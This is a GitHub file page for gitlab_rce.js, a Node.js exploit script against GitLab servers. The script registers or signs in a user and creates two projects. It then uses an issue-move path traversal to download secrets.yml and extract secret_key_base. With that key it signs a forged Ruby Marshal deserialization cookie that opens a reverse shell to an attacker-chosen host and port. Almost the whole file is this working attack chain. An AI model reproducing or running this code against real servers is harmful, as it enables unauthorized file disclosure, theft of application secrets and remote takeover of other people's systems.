-
Notifications
You must be signed in to change notification settings - Fork 1
/
gitlab_rce.js
291 lines (266 loc) · 8.82 KB
/
gitlab_rce.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
const got = require('got');
const {CookieJar} = require('tough-cookie');
const {parse} = require('node-html-parser');
const {uniqueNamesGenerator, names} = require('unique-names-generator');
const tunnel = require('tunnel');
const fs = require('fs').promises;
const yaml = require('yaml');
const crypto = require('crypto');
// ////////////////////////////////////////////////////////////////////// CONFIG
// required
const target = process.env.TARGET_URI;
const email = process.env.TARGET_EMAIL_DOMAIN;
const lhost = process.env.LOCAL_IP;
const lport = process.env.LOCAL_PORT;
// has defaults
let user = process.env.TARGET_USER || 'tess';
let name = process.env.TARGET_HUMAN_NAME;
let password = process.env.TARGET_PASSWORD || '';
// optional
const tunnelHost = process.env.TUNNEL_HOST;
const tunnelPort = process.env.TUNNEL_PORT;
let skb = process.env.SECRET_KEY_BASE;
// ///////////////////////////////////////////////////////////////////// HELPERS
const cookieJar = new CookieJar();
const client = got.extend({
followRedirect: false,
...tunnelHost && {
agent: {
https: tunnel.httpsOverHttp({
rejectUnauthorized: false,
proxy: {
host: tunnelHost,
...tunnelPort && {
port: tunnelPort,
},
},
}),
},
},
https: {
rejectUnauthorized: false,
},
hooks: {
afterResponse: [(res, retry) => {
const sc = res.statusCode;
if (sc >= 200 && sc < 400 && res.headers['set-cookie']) {
// workaround for weird issue I saw where tough-cookie drops the session
const sidcookie = res.headers['set-cookie'].find((x) =>
x.startsWith('_gitlab_session='));
if (sidcookie) {
cookieJar.setCookieSync(
`${sidcookie.split(';').shift()}; Max-Age=Infinity`,
res.requestUrl,
);
}
}
return res;
}],
},
cookieJar,
});
const nameConf = {
dictionaries: [names],
};
name = name || uniqueNamesGenerator(nameConf);
if (!password) {
while (password.length < 8) {
password += uniqueNamesGenerator(nameConf);
}
}
const callWithCSRF = async (url, req, csrfURL) => {
const res = await client(csrfURL);
const csrf = parse(res.body)
.querySelector('meta[name=csrf-token]')
.getAttribute('content');
if (req.form) {
return client(url, {
...req,
form: {
...req.form,
authenticity_token: csrf,
},
});
}
return client(url, {
...req,
headers: {
...req.headers,
'X-CSRF-Token': csrf,
},
});
};
// ////////////////////////////////////////////////////////////// THE GOOD STUFF
(async () => {
console.log(`Checking if ${target} is up...`);
let res;
try {
res = await client(`${target}/users/${user}/exists`, {
responseType: 'json',
});
} catch (error) {
console.error('Target seems down');
return;
}
if (!skb) {
if (res.body.exists === true) {
console.log(`Target user ${user} exists, skipping account creation.`);
} else {
console.log('Scanning for available user name...');
const scanUsers = async (index) => {
const newName = `${user}${index}`;
res = await client(`${target}/users/${newName}/exists`, {
responseType: 'json',
});
if (res.body.exists === true) return scanUsers(index+1);
return newName;
};
user = await scanUsers(0);
console.log(`New username is ${user}`);
console.log('Creating user...');
res = await callWithCSRF(
`${target}/users`,
{
method: 'POST',
form: {
'utf8': '✓',
'new_user[name]': name,
'new_user[username]': user,
'new_user[email]': `${user}@${email}`,
'new_user[email_confirmation]': `${user}@${email}`,
'new_user[password]': password,
},
},
`${target}/users/sign_in`,
);
if (res.statusCode === 200) {
const errors = parse(res.body).querySelector('.devise-errors');
if (errors) {
console.log('Ran into sign-up errors:');
console.log(errors.querySelector('.devise-errors').toString());
return;
}
console.log('Success!');
} else if (res.statusCode === 302) {
console.log('User already exists?');
} else {
console.error('Request failed');
console.error(JSON.stringify(res));
return;
}
}
console.log('Signing in...');
res = await callWithCSRF(
`${target}/users/sign_in`,
{
method: 'POST',
form: {
'user[login]': user,
'user[password]': password,
},
},
`${target}/users/sign_in`,
);
if (res.statusCode !== 302) {
console.error('Sign-in seems to have failed, try manually with:');
console.error(`user: ${user}`);
console.error(`pass: ${pass}`);
return;
}
console.log('Creating empty projects...');
const createProject = async () => {
const projectName = uniqueNamesGenerator(nameConf);
res = await callWithCSRF(
`${target}/projects`,
{
method: 'POST',
form: {
'project[ci_cd_only]': 'false',
'project[name]': projectName,
'project[path]': projectName,
'project[visibility_level]': '0',
'project[description]': '',
},
},
`${target}/projects/new`,
);
if (res.statusCode !== 302) {
throw new Error('Failed to create projects');
}
return projectName;
};
const fromProject = await createProject();
const toProject = await createProject();
console.log('Creating issue with LFI path...');
const issue = uniqueNamesGenerator(nameConf);
res = await callWithCSRF(
`${target}/${user}/${fromProject}/issues`,
{
method: 'POST',
form: {
'issue[title]': issue,
'issue[description]': '![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)',
},
},
`${target}/${user}/${fromProject}/issues/new`,
);
if (res.statusCode !== 302) {
throw new Error('Failed to create issue on project');
}
console.log('Fetching "technical project id" of destination project...');
res = await client(`${target}/${user}/${toProject}`);
let toProjectId = parse(res.body)
.querySelector('#project_id')
.getAttribute('value');
toProjectId = parseInt(toProjectId, 10);
console.log(`Got destination project id of ${toProjectId}`);
console.log('Triggering LFI...');
res = await callWithCSRF(
`${target}/${user}/${fromProject}/issues/1/move`,
{
method: 'POST',
headers: {
Referer: `${target}/${user}/${fromProject}/issues/1`,
},
json: {
move_to_project_id: toProjectId,
},
responseType: 'json',
},
`${target}/${user}/${fromProject}/issues/1`,
);
if (res.statusCode !== 200) {
console.error('Failed to move issue');
return;
}
let link = res.body.description.match(/\((?<link>.*)\)/);
if (!link) {
console.log('Couldn\'t get new URL for LFI');
return;
}
link = link.groups.link;
console.log('Retrieving file...');
res = await client(`${target}/${user}/${toProject}/${link}`);
console.log('LFI seemingly successful! Saving secrets.yml...');
await fs.writeFile('./secrets.yml', res.body);
skb = yaml.parse(res.body).production.secret_key_base;
}
console.log(`secret key base: ${skb}`);
console.log('Building reverse shell payload...');
const rubyShellCode = `exit if fork;c=TCPSocket.new("${lhost}","${lport}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end`;
const encodedLength = String.fromCharCode(rubyShellCode.length + 5); // +5 for "\x06:\x06ET"
let payload = `\x04\bo:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0E@instanceo:\bERB\x07:\t@srcI\"${encodedLength}${rubyShellCode}\x06:\x06ET:\f@linenoi\x029\x05:\f@method:\vresult:\t@varI\"\f@result\x06;\tT:\x10@deprecatoro:\x1FActiveSupport::Deprecation\x06:\x0E@silencedT`;
payload = Buffer.from(payload, 'utf-8').toString('base64');
const key = crypto.pbkdf2Sync(skb, 'signed cookie', 1000, 64, 'sha1');
payload = `${payload}--${
crypto.createHmac('sha1', key)
.update(payload)
.digest('hex')}`;
await cookieJar.removeAllCookies();
await cookieJar.setCookieSync(
`experimentation_subject_id=${payload}; Max-Age=Infinity`,
`${target}/users/sign_in`,
);
console.log(`Sending payload, you started your listener at ${lhost}:${lport}, right?`);
res = await client(`${target}/users/sign_in`);
})();